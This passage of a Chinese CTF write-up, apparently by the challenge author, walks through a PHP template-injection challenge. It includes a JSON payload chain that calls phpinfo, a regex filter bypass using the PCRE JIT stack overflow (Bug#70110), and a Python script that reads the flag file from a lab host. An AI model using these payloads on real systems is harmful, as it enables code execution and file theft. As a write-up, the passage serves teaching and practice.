$hdl);\r\n}<\/pre>\n<p><span class=\"md-plain md-expand\">\u8d2a\u5a6a\u5339\u914d <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>% .* %<\/code><\/span><span class=\"md-plain\"> \u4f5c\u53d8\u91cf\u66ff\u6362\uff0c\u5e76\u628a\u66ff\u6362\u540e\u7684\u7ed3\u679c\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>'<\/code><\/span><span class=\"md-plain md-expand\"> \u5305\u4f4f\uff0c\u9519\u8bef\u540c\u4e0a\u4f46\u5e76\u4e0d\u91cd\u8981\u3002<\/span><\/p>\n<pre class=\"lang:php mark:1,4,6,7 decode:true \" title=\"template.php           L27 - L34\">else if (preg_match('\/^\\{\\\\\\\\\\\\s*?(([a-z0-9_]+)\\(\\'([^\\']*?)\\'\\);\\\\s*?(unsafe)?\\\\s*?)\\\\s*?\\\/\\}$\/is', $cmd, $matches))\r\n{\r\n  [$func, $param] = [$matches[2], $matches[3]];\r\n  if (!isset($matches[4]) &amp;&amp; !in_array($func, $funcs) &amp;&amp; preg_match('\/(flag|[^flag0-1\\-\\\/\\*])+\/is', $param))\r\n    die('access denied');\r\n  $res = class_exists($func) ? new $func($param) : $func($param);\r\n  $hdl = str_replace($matches[1], \"'\".$res.\"'\", $hdl);\r\n}<\/pre>\n<p><span class=\"md-plain md-expand\">\u53ef\u4ee5\u53d1\u73b0\u8fd9\u91cc\u662f\u91cd\u5934\u620f\uff0c\u5339\u914d\u7c7b\u4f3c <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>^{\\ func('para'); unsafe \/}$<\/code><\/span><span class=\"md-plain md-expand\"> \u8fd9\u6837\u7684\u683c\u5f0f\u4f5c\u7b80\u5355\u51fd\u6570\u6267\u884c\uff0c\u8981\u70b9\u6709\uff1a\u5fc5\u987b\u4ee5\u6a21\u677f\u6807\u8bc6\u8d77\u5934\u7ed3\u5c3e\u3001\u4ec5\u6709\u4e00\u4e2a\u53c2\u6570\u4e14\u5fc5\u987b\u7528\u5355\u5f15\u53f7\u62ec\u8d77\u3001\u7d27\u8ddf\u4e00\u4e2a\u5206\u53f7\uff1b\u5982\u679c\u6709 unsafe \u6807\u8bc6\u5219\u4f4d\u4e8e\u5206\u53f7\u4e4b\u540e\u3002<\/span><\/p>\n<pre class=\"lang:php mark:1,3,5 decode:true \" title=\"template.php         L35 - L39\">if ($hdl != $cmd)\r\n  return $hdl;\r\nif (!preg_match('\/^\\{\\\\\\\\(\\\\s*?(\\'[^\\']*?\\')*?\\\\s*?)*\\\/\\}$\/is', $cmd))\r\n  return 'undefined';\r\nreturn str_replace(array(\"'\", '{\\\\', '\/}'), array('', '', ''), $cmd);<\/pre>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u5f53\u6ca1\u6709\u6539\u52a8\u53d1\u751f\u65f6\uff0c\u8ba4\u4e3a\u8be5\u90e8\u5206\u6a21\u677f\u5df2\u6e32\u67d3\u5b8c\u6bd5\uff0c\u68c0\u67e5\u6a21\u677f\u6807\u8bc6\u5185\u7684\u5355\u5f15\u53f7\u662f\u5426\u5c06\u6240\u6709\u5b57\u7b26\u90fd\u62ec\u8d77\uff0c\u6700\u540e\u5220\u53bb\u5355\u5f15\u53f7\u53ca\u6a21\u677f\u6807\u8bc6\u5e76\u8fd4\u56de\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5206\u6790\u5b8c\u6bd5\uff0c\u76ee\u6807\u5f88\u660e\u786e\uff1a\u5229\u7528\u7b80\u5355\u51fd\u6570\u6267\u884c\u529f\u80fd getflag\uff1b\u7531\u4e8e\u5206\u53f7\u65e0\u6cd5\u88ab\u4eba\u5de5\u5f15\u5165\uff0c\u4e3a\u6b64\u53ea\u80fd\u5c1d\u8bd5<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u6c61\u67d3\u5df2\u6709\u7684<\/span><\/strong><\/span> <span class=\"md-pair-s\" spellcheck=\"false\"><code>get_lucky_number()<\/code><\/span><span class=\"md-plain\"> \u4e3a\u4efb\u610f\u51fd\u6570\u3002<\/span><\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol class=\"ol-list\" start=\"\">\n<li class=\"md-list-item md-focus-container\">\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-pair-s md-expand\"><strong><span class=\"md-plain\">\u6a21\u677f\u6807\u8bc6\u7684\u518d\u6784\u9020\u3002<\/span><\/strong><\/span><span class=\"md-plain\">\u5018\u82e5\u4e00\u76f4\u88ab\u62d8\u675f\u5728\u539f\u6709\u7684\u6a21\u677f\u6807\u8bc6\u91cc\uff0c\u4e8b\u60c5\u662f\u8fdb\u5c55\u4e0d\u4e0b\u53bb\u7684\uff0c\u4e3a\u6b64\u9700\u8981\u63d2\u5165\u65b0\u7684\u6a21\u677f\u6807\u8bc6\uff1b\u6bd4\u8f83\u76f4\u63a5\u7684<\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>{\\<\/code><\/span> <span class=\"md-pair-s\" spellcheck=\"false\"><code>\/}<\/code><\/span><span class=\"md-plain\"> \u5df2\u88ab\u8fc7\u6ee4\uff0c\u4f46\u6ce8\u610f\u5230\u53d8\u91cf\u7684\u6807\u8bc6\u7b26 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>% %<\/code><\/span><span class=\"md-plain\"> \u4f9d\u7136\u53ef\u4ee5\u4f7f\u7528\uff0c\u4e14\u5355\u5f15\u53f7\u6700\u7ec8\u90fd\u4f1a\u88ab\u5220\u53bb\uff0c\u4e8e\u662f\u91c7\u7528<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u62c6\u5206\u7684\u8f6c\u79fb\u65b9\u5f0f<\/span><\/strong><\/span><span class=\"md-plain\">\uff1a<\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>S\u2192'{A' ; A\u2192'\\B'<\/code><\/span><span class=\"md-plain\"> \u5373\uff08 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>S\u2192'{'\\'B'''<\/code><\/span><span class=\"md-plain\"> \uff09\u3002\u4f53\u73b0\u5728\u9898\u76ee\u73af\u5883\u4e2d\u5373\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>n0={%n1% ; n1=\\%n2% ; n2=...<\/code><\/span><span class=\"md-plain\">\u3002<\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u7ed5\u8fc7 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>str_replace()<\/code><\/span><span class=\"md-plain\"> \u3002<\/span><\/strong><\/span><span class=\"md-plain\">\u6ce8\u610f\u5230\u5904\u7406\u51fd\u6570\u7684\u672b\u5c3e\u4e0d\u4ec5\u5220\u53bb\u4e86\u5355\u5f15\u53f7\uff0c\u8fd8\u5220\u53bb\u4e86\u5934\u5c3e\u7684\u6a21\u677f\u6807\u8bc6\uff1b\u5018\u82e5\u76f4\u63a5\u6309 1. \u7684\u65b9\u6cd5\u6784\u9020\uff0c\u4e5f\u65e0\u6cd5\u5b58\u7559\u3002\u90a3\u4e48\u8fd9\u91cc\u5c31\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u7ed5\u8fc7\uff1a\u540c\u6837\u7684\u65b9\u6cd5\u6539\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>{{\\\\<\/code><\/span><span class=\"md-plain\"> \u5373\u53ef\u3002<\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u63a7\u5236\u5355\u5f15\u53f7\u5bf9\u9f50\u3002<\/span><\/strong><\/span><span class=\"md-plain\">\u6ce8\u610f\u5230\u5904\u7406\u51fd\u6570\u672b\u5c3e\u68c0\u67e5\u4e86\u6a21\u677f\u6807\u8bc6\u5185\u7684\u5355\u5f15\u53f7\u662f\u5426\u5c06\u6240\u6709\u5b57\u7b26\u90fd\u62ec\u8d77\uff0c\u800c\u76f4\u63a5\u6309\u7167 1. \u7684\u65b9\u6cd5\u6784\u9020\uff0c\u4f1a\u4ea7\u751f\u8bf8\u5982 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>'{'\\'B'''<\/code><\/span><span class=\"md-plain\"> \u7684\u5b57\u7b26\u4e32\uff0c\u6309\u7167\u975e\u8d2a\u5a6a\u6a21\u5f0f\u5339\u914d\uff0c\u5219\u6709\u5176\u4e2d\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\\<\/code><\/span><span class=\"md-plain\"> \u672a\u88ab\u62ec\u8d77\uff0c\u5904\u7406\u51fd\u6570\u8fd4\u56de undefined\u3002\u5e94\u5bf9\u63aa\u65bd\u4e5f\u5f88\u7b80\u5355\uff1a\u5236\u9020\u4e00\u5bf9\u7a7a\u5355\u5f15\u53f7\uff08<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u7b49\u4ef7\u66ff\u6362<\/span><\/strong><\/span><span class=\"md-plain\">\uff09\u5373\u53ef\uff1b\u4e5f\u5c31\u662f\u5c06 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\\B<\/code><\/span><span class=\"md-plain\"> \u66ff\u6362\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\\B<\/code><\/span><span class=\"md-plain\"> \u4f7f\u5176\u53d8\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>'\\B'<\/code><\/span><span class=\"md-plain\"> \uff0c\u6b64\u65f6\u7684\u5355\u5f15\u53f7\u4fbf\u5bf9\u9f50\u4e86\u3002\u4f53\u73b0\u5728\u9898\u76ee\u73af\u5883\u4e2d\u5373\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>n0={%n1% ; n1=%n2% ; n2=\\%n3% ; n3=...<\/code><\/span><span class=\"md-plain\">\u3002<\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u8de8\u8d8a\u8ddd\u79bb\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>% %<\/code><\/span><span class=\"md-plain\"> \u3002<\/span><\/strong><\/span><span class=\"md-plain\">\u81f3\u6b64\uff0c\u5df2\u7ecf\u80fd\u5728 hello.tpl \u7684\u4e24\u5904 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>%name%<\/code><\/span><span class=\"md-plain\"> \u6784\u9020\u51fa\u65b0\u7684\u6a21\u677f\u6807\u8bc6\u4e86\uff1b\u76ee\u6807\u662f\u66ff\u6362\u7b2c\u4e8c\u5904\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>get_lucky_number()<\/code><\/span><span class=\"md-plain\"> \uff0c\u4e14\u6a21\u677f\u5904\u7406\u4ece\u7b2c\u4e00\u5904\u5f00\u59cb\u3002\u53ef\u8c13\u8bf4\u5236\u9020\u51fa\u65b0\u7684\u6a21\u677f\uff08\u5f00\u59cb\uff09\u6807\u8bc6\u5c31\u662f\u4e3a\u6b64\uff1a\u5c06\u7b2c\u4e8c\u5904\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>% %<\/code><\/span><span class=\"md-plain\"> \u7eb3\u5165\u7b2c\u4e00\u5904\u7684\u652f\u914d\u8303\u56f4\u3002\u6b63\u5219\u662f\u4ece\u5de6\u5f80\u53f3\u5339\u914d\u7684\uff0c\u5982\u679c\u6b64\u65f6\u7b2c\u4e00\u5904\u53d8\u4e3a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>{\\ %<\/code><\/span><span class=\"md-plain\">\uff0c\u90a3\u4e48\u5b83\u5c06\u4e0e\u7b2c\u4e8c\u5904\u7684\u540e\u4e00\u4e2a <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>%<\/code><\/span> <span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u5f62\u6210\u5339\u914d<\/span><\/strong><\/span><span class=\"md-plain\">\uff08\u56e0\u4e3a\u662f\u8d2a\u5a6a\u7684\uff09\uff0c\u5f62\u6210\u4e00\u4e2a\u5305\u542b\u6362\u884c\u3001\u7a7a\u683c\u7b49\u5b57\u7b26\u7684\u53d8\u91cf\uff0c\u5176\u4ecd\u53ef\u88ab\u66ff\u6362\u3002\u53ef\u4ee5\u60f3\u5230\uff0chello.php \u4e2d\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>json_decode()<\/code><\/span><span class=\"md-plain\"> \u5373\u662f\u4e3a\u6b64\u5b58\u5728\uff1b\u7528 $_GET \u7684\u8bdd\u7a7a\u683c\u4fbf\u65e0\u6cd5\u8868\u793a\u3002<\/span><\/p>\n<\/li>\n<li class=\"md-list-item md-focus-container\">\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u7ed3\u675f\u3002<\/span><\/strong><\/span><span class=\"md-plain md-expand\">\u81f3\u6b64\uff0c\u5df2\u7ecf\u6784\u9020\u51fa\u4e86\u7b26\u5408\u7b80\u5355\u6a21\u677f\u547d\u4ee4\u8c03\u7528\u6837\u5f0f\u7684\u8868\u8fbe\u5f0f\u3002<\/span><\/p>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>\u4e0b\u9762\u662f\u4ee5\u9898\u76ee\u73af\u5883\u4e3a\u57fa\u51c6\u7684\u8868\u8fbe\u5f0f\u66ff\u6362\u8fc7\u7a0b\uff1a<\/p>\n<ol>\n<li style=\"list-style-type: none;\">\n<ol class=\"ol-list\" start=\"\">\n<li class=\"md-list-item md-focus-container\">\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-pair-s md-expand\" spellcheck=\"false\"><code>Hello, {\\ %name% \/}<\/code><\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s\" spellcheck=\"false\"><code>Hello, {\\ '{{%n1%' \/}<\/code><\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s\" spellcheck=\"false\"><code>Hello, {\\ '{{'%n2%'' \/}<\/code><\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s\" spellcheck=\"false\"><code>Hello, {\\ '{{''\\\\%n3%''' \/}<\/code><\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s\" spellcheck=\"false\"><code>Hello, {\\ '{{''\\\\'%n4%'''' \/}<\/code><\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s\" spellcheck=\"false\"><code>Hello, {\\ '{{''\\\\''phpinfo(%''''' \/}<\/code> \uff08\u52a0\u5165\u7701\u7565\u7684\u90e8\u5206 \u2193\uff09<\/span><\/p>\n<\/li>\n<li class=\"md-list-item\">\n<p class=\"md-end-block md-p\"><span class=\"md-pair-s\" spellcheck=\"false\"><code>Hello, {\\phpinfo(% \\nYour lucky number today: {\\ get_lucky_number(%name%); \/}<\/code><\/span><\/p>\n<\/li>\n<li class=\"md-list-item md-focus-container\">\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-pair-s md-expand\" spellcheck=\"false\"><code>Hello, {\\phpinfo('-1'); \/}<\/code><\/span><\/p>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>\u4ee5\u53ca\u5148\u884c\u7248 payload\uff1a<\/p>\n<pre class=\"toolbar:2 nums:false lang:default decode:true \">{\"name\": \"{{%n1%\", \"n1\": \"%n2%\", \"n2\": \"\\\\\\\\%n3%\", \"n3\": \"%n4%\", \"n4\": \"phpinfo(%\", \" &lt;\/b&gt;&lt;\/p3&gt;\\n&lt;p&gt;Your lucky number today: &lt;b&gt;{\\\\ get_lucky_number(%name\": \"-1\"}<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u7531\u6b64\u89c2\u5bdf <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>phpinfo()<\/code><\/span><span class=\"md-plain\"> \u7684\u5404\u79cd\u4fe1\u606f\uff0c\u53d1\u73b0\u662f PHP 8.2 \u4e14 disable_functions \u5de8\u957f\uff0c\u57fa\u672c\u65e0\u6cd5 getshell\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u4e0b\u9762\u8fd9\u4e2a\u8fc7\u6ee4\u4e5f\u5f88\u70e6\u4eba\u3002\u9898\u76ee\u73af\u5883\u4e2d hello.tpl \u65e0\u81ea\u5e26 unsafe \u53c2\u6570\uff0c\u4e14\u65e0\u6cd5\u901a\u8fc7 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>% %<\/code><\/span><span class=\"md-plain\"> \u66ff\u6362\u88ab\u6dfb\u52a0\u8fdb\u53bb\uff1b\u6700\u540e\u90a3\u4e2a\u6b63\u5219\u66f4\u662f\u4e27\u5fc3\u75c5\u72c2\uff0c\u53ea\u6709 f l a g 0 1 &#8211; \/ * \u8fd9\u5be5\u5be5\u65e0\u51e0\u7684\u5b57\u7b26\u53ef\u4ee5\u901a\u884c\u3002<\/span><\/p>\n<pre class=\"lang:php decode:true \" title=\"template.php           L30 - L31\">if (!isset($matches[4]) &amp;&amp; !in_array($func, $funcs) &amp;&amp; preg_match('\/(flag|[^flag0-1\\-\\\/\\*])+\/is', $param))\r\n    die('access denied');<\/pre>\n<p><span class=\"md-plain md-expand\">\u6ce8\u610f\u5230\u6309\u7167\u9898\u76ee\u7684\u5199\u6cd5\uff0c\u9664\u4e86\u51fd\u6570\uff0cPHP \u7684<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u539f\u751f\u7c7b<\/span><\/strong><\/span><span class=\"md-plain\">\u4e5f\u662f\u53ef\u4ee5\u6267\u884c\u7684\uff1b\u5148\u7528 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>GlobIterator<\/code><\/span><span class=\"md-plain md-expand\"> \u63a2\u63a2\u76ee\u5f55\uff1a<\/span><\/p>\n<pre class=\"toolbar:2 nums:false lang:default decode:true \">GlobIterator('\/*fla*')\r\n&lt;p3&gt;Hello, &lt;b&gt; H1y~Im_43r1_y0Ur&lt;&lt;&lt;flag&gt;&gt;&gt;! &lt;\/b&gt;&lt;\/p&gt;<\/pre>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u4e00\u4e0b\u5b50\u5c31\u627e\u5230 flag \u4e86\u3002\u4f46\u5982\u4f55\u8bfb\u53d6\u5b83\u624d\u662f\u95ee\u9898\uff0c\u65e0\u8bba <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>readfile() ; file_get_contents()<\/code><\/span><span class=\"md-plain\"> \u8fd8\u662f <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>SplFileObject<\/code><\/span><span class=\"md-plain\"> \u90fd\u9700\u8981\u63d0\u4f9b\u5b8c\u6574\u7684\u6587\u4ef6\u8def\u5f84\uff0c\u800c\u8fd9\u4e2a\u53c2\u6570\u88ab\u6b63\u5219\u63a7\u5236\u5f97\u6b7b\u6b7b\u7684\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u5728\u675f\u624b\u65e0\u7b56\u7684\u540c\u65f6\u4e5f\u6ce8\u610f\u5230\u8fd9\u4e2a\u6b63\u5219\u91c7\u7528\u4e86\u4e00\u79cd\u6bd4\u8f83\u5c11\u89c1\u7684\u5199\u6cd5 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>(...|[...])+<\/code><\/span><span class=\"md-plain\"> \uff0c\u4e00\u822c\u6765\u8bf4\u4f1a\u5199\u6210 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>(...|[...]+)<\/code><\/span><span class=\"md-plain\">\uff0c\u90a3\u8fd9\u4fe9\u6709\u4ec0\u4e48\u533a\u522b\uff1f<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u8fd8\u662f\u6d89\u53ca\u5230 PHP7.0+ pcre.jit\uff08\u9ed8\u8ba4\u5f00\u542f\uff09\u7684\u4e00\u4e2a<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u8bbe\u8ba1\u7f3a\u9677<\/span><\/strong><\/span><span class=\"md-plain\">\uff08<\/span><span class=\"md-meta-i-c  md-link\"><a href=\"https:\/\/bugs.php.net\/bug.php?id=70110\"><span class=\"md-plain\">Bug#70110<\/span><\/a><\/span><span class=\"md-plain\">\uff09\uff1a\u5728\u8fdb\u884c <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>(A|B)+<\/code><\/span><span class=\"md-plain\"> \u6216 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>(A{1,2}B)*<\/code><\/span><span class=\"md-plain\"> \u8fd9\u6837\u7684\u5339\u914d\u65f6\uff0c\u4ec5\u9700 1w \u4e2a\u5de6\u53f3\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>AB<\/code><\/span><span class=\"md-plain\"> \u5c31\u53ef\u4f7f <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>preg_match()<\/code><\/span><span class=\"md-plain\"> \u8fd4\u56de\u9519\u8bef\uff1b\u4e0d\u540c\u4e8e\u57fa\u672c\u4e0a\u9700\u8981 100w \u4e2a\u5b57\u7b26\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>PREG_BACKTRACK_LIMIT_ERROR<\/code><\/span><span class=\"md-plain\">\uff0c\u8fd4\u56de\u7684\u662f <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>PREG_JIT_STACKLIMIT_ERROR<\/code><\/span><span class=\"md-plain\">\uff0c\u5373\u5728<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u7f16\u8bd1 JIT \u65f6\u6808\u6ea2\u51fa<\/span><\/strong><\/span><span class=\"md-plain\">\uff08\u8d85\u8fc7 PHP \u9ed8\u8ba4\u503c 32K\uff09\u3002\u539f\u7406\u5927\u6982\u53ef\u4ee5\u8ba4\u4e3a\u662f JIT \u5728\u7f16\u8bd1\u62ec\u53f7\u65f6\u9700\u8981\u53cd\u590d\u8fdb\u884c\u538b\u6808\u64cd\u4f5c\u4ee5\u56de\u6eaf\u4e2d\u95f4\u7684\u201c\u6216\u201d\uff0c\u6210\u529f\u5339\u914d\u592a\u591a\u6b21\u540e\u9020\u6210\u6ea2\u51fa\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u90a3\u4e48\u5bf9\u4e8e\u9898\u76ee\u73af\u5883\u7684 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>\/(flag|[^flag0-1\\-\\\/\\*])+\/is<\/code><\/span><span class=\"md-plain\">\uff0c\u5f88\u7b80\u5355\uff0c\u968f\u610f\u5f80\u53c2\u6570\u524d\u9762\u6254 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">7k \u4e2a\u4e0d\u5408\u6cd5\u5b57\u7b26<\/span><\/strong><\/span><span class=\"md-plain\">\u5373\u53ef\u8ba9 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>preg_match()<\/code><\/span><span class=\"md-plain\"> \u8fd4\u56de <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>FALSE<\/code><\/span><span class=\"md-plain\">\uff0c\u7ed5\u8fc7\u6210\u529f\uff1b\u4e14\u521a\u597d\u4e0d\u8d85\u8fc7 8KB \u7684 GET \u9650\u5236\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u4f46\u5230\u8fd9\u91cc\u8fd8\u6ca1\u6709\u7ed3\u675f\uff0c\u81f3\u6b64\u5b57\u7b26\u4e32\u957f\u5ea6\u8d85\u8fc7\u4e86 4KB\uff0c\u4f5c\u4e3a\u8def\u5f84\u662f\u4e0d\u5408\u6cd5\u7684\uff0c\u81ea\u7136\u4e5f\u65e0\u6cd5\u8bfb\u53d6\u5230\u6587\u4ef6\u3002<\/span><\/p>\n<p class=\"md-end-block md-p\"><span class=\"md-plain\">\u6b64\u65f6\u53ea\u80fd\u53e6\u8f9f\u8e4a\u5f84\uff0c\u6ce8\u610f\u5230\u547d\u4ee4\u6267\u884c\u5b8c\u540e\u4e5f\u53ea\u662f\u628a\u7ed3\u679c\u66ff\u6362\u8fdb\u6a21\u677f\u5b57\u7b26\u4e32\u91cc\uff0c\u8ddf\u53d8\u91cf\u66ff\u6362\u5982\u51fa\u4e00\u8f99\uff0c\u5b58\u5728\u64cd\u7eb5\u7a7a\u95f4\uff1b\u4e8e\u662f\u53ef\u4ee5\u901a\u8fc7\u95ed\u5408\u524d\u9762\u7684\u6a21\u677f\u6807\u8bc6\u6765\u65b0\u589e\u4e00\u6761<\/span><span class=\"md-pair-s \"><strong><span class=\"md-plain\">\u542b unsafe \u53c2\u6570<\/span><\/strong><\/span><span class=\"md-plain\">\u7684\u7b80\u5355\u547d\u4ee4\u6267\u884c\u8bed\u53e5\u3002<\/span><\/p>\n<p class=\"md-end-block md-p md-focus\"><span class=\"md-plain\">\u63d0\u4ea4\u7684\u53c2\u6570\u4e0d\u80fd\u542b\u5206\u53f7\uff0c\u4f46\u51fd\u6570\u6267\u884c\u540e\u7684\u7ed3\u679c\u53ef\u4ee5\uff0c\u4e8e\u662f\u7528 <\/span><span class=\"md-pair-s \"><strong><span class=\"md-pair-s\" spellcheck=\"false\"><code>base64_decode()<\/code><\/span><\/strong><\/span><span class=\"md-plain\"> \u4e4b\u7c7b\u7684\u5305\u88c5\u4e00\u4e0b\u5373\u53ef\uff1a\uff08\u5728\u524d\u9762\u6dfb\u52a0\u4e00\u5806\u975e\u6cd5\u5b57\u7b26 <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>=<\/code><\/span><span class=\"md-plain\"> \u4e5f\u4e0d\u4f1a\u5f71\u54cd <\/span><span class=\"md-pair-s\" spellcheck=\"false\"><code>base64_decode()<\/code><\/span><span class=\"md-plain\"> \u7684\u7ed3\u679c\uff09<\/span><\/p>\n<pre class=\"toolbar:2 lang:php decode:true \">$injection = \"\/}{\\\\file_get_contents('\/H1y~Im_43r1_y0Ur&lt;&lt;&lt;flag&gt;&gt;&gt;!');unsafe\/}\";\r\n$func = 'base64_decode'; $cmd = str_repeat('=',7000).base64_encode($injection);\r\n\/\/ will execute $func($cmd)<\/pre>\n<p>\u81f3\u6b64\uff0c\u7ec8\u4e8e\u53ef\u4ee5\u5b89\u5fc3\u5730\u83b7\u5f97\u672c\u9898\u7684 flag \u4e86\uff0c\u4ee5\u4e0b\u4e3a payload\uff1a<\/p>\n<pre class=\"lang:python decode:true \">import base64,requests\r\nurl = 'http:\/\/web:8080\/hello.php?'\r\n#func = 'GlobIterator'; cmd = '\/*fla*'\r\ninj = '\/}{\\\\file_get_contents(\\'\/H1y~Im_43r1_y0Ur&lt;&lt;&lt;flag&gt;&gt;&gt;!\\');unsafe\/}'\r\nfunc = 'base64_decode'; cmd = '='*7000 + base64.b64encode(inj.encode()).decode()\r\nprint(f\"{func}('{cmd}')\")\r\ncmd = '{\"name\": \"{{%n1%\", \"n1\": \"%n2%\", \"n2\": \"\\\\\\\\\\\\\\\\%n3%\", \"n3\": \"%n4%\", \"n4\": \"'+func+'(%\", \" &lt;\/b&gt;&lt;\/p3&gt;\\\\n&lt;p&gt;Your lucky number today: &lt;b&gt;{\\\\\\\\ get_lucky_number(%name\": \"'+cmd+'\"}'\r\nres = requests.get(url, params=cmd)\r\nprint(res.text)<\/pre>\n<p>\u51fa\u9898\u540e\u8bdd\uff1a\u5b57\u7b26\u4e32\u66ff\u6362\u7684\u5229\u7528\u53ef\u4ee5\u5f88\u5de7\u5999\uff0c\u672c\u4eba\u5c1d\u8bd5\u8fd8\u539f\u51fa\u4e86\u6bd4\u8f83\u5e38\u89c1\u7684\u4e00\u79cd\u7c7b\u578b\u3002\u5173\u4e8e preg_match \u7684\u6f0f\u6d1e\u70b9\u4e0d\u8fc7\u53c2\u6570\u6216\u8fd4\u56de\u503c\u7c7b\u578b\u6df7\u6dc6\uff0c\u672c\u6765\u60f3\u7ed3\u5408\u70b9 PHP 8+ \u7684\u65b0\u7279\u6027\uff0c\u5374\u8fdf\u8fdf\u6ca1\u6709\u627e\u5230\u5408\u9002\u7684\uff0c\u53ea\u80fd\u4ece Bugs \u5806\u91cc\u62ce\u51fa\u4e00\u4e2a\u770b\u8d77\u6765\u6bd4\u8f83\u9e21\u808b\u7684\u6765\u3002\u8bf4\u5230 template\uff0c\u53ef\u662f\u672c\u9898\u5374\u4e0e template \u4e00\u70b9\u5173\u7cfb\u90fd\u6ca1\u6709\uff0c\u76f8\u4fe1\u5c4f\u5e55\u524d\u7684\u4f60\u4e00\u5b9a\u4e5f\u662f\u8fd9\u4e48\u60f3\u7684\u3002<\/p>\n<p>&nbsp;<\/p>\n<p><a id=\"wp_pickle\"><\/a>\u00a0<\/p>\n<hr \/>\n<ul>\n<li>\n<h3><strong>easy_pickle<\/strong><\/h3>\n<\/li>\n<\/ul>\n<p>\uff08\u540c\u65f6\u63d0\u4f9b PDF \u7248\uff1a<a href=\"https:\/\/cf.mnihyc.com\/blog\/wp-content\/uploads\/2023\/01\/writeup_easy_pickle.pdf\">writeup_easy_pickle.pdf<\/a>\uff09<\/p>\n<p>\u73af\u5883\u5206\u6790\uff1a\u4e0d\u63d0\u4f9b\u9644\u4ef6\uff0c\u53ef\u4ee5\u53d1\u73b0\u662f flask \u5f00\u542f debug 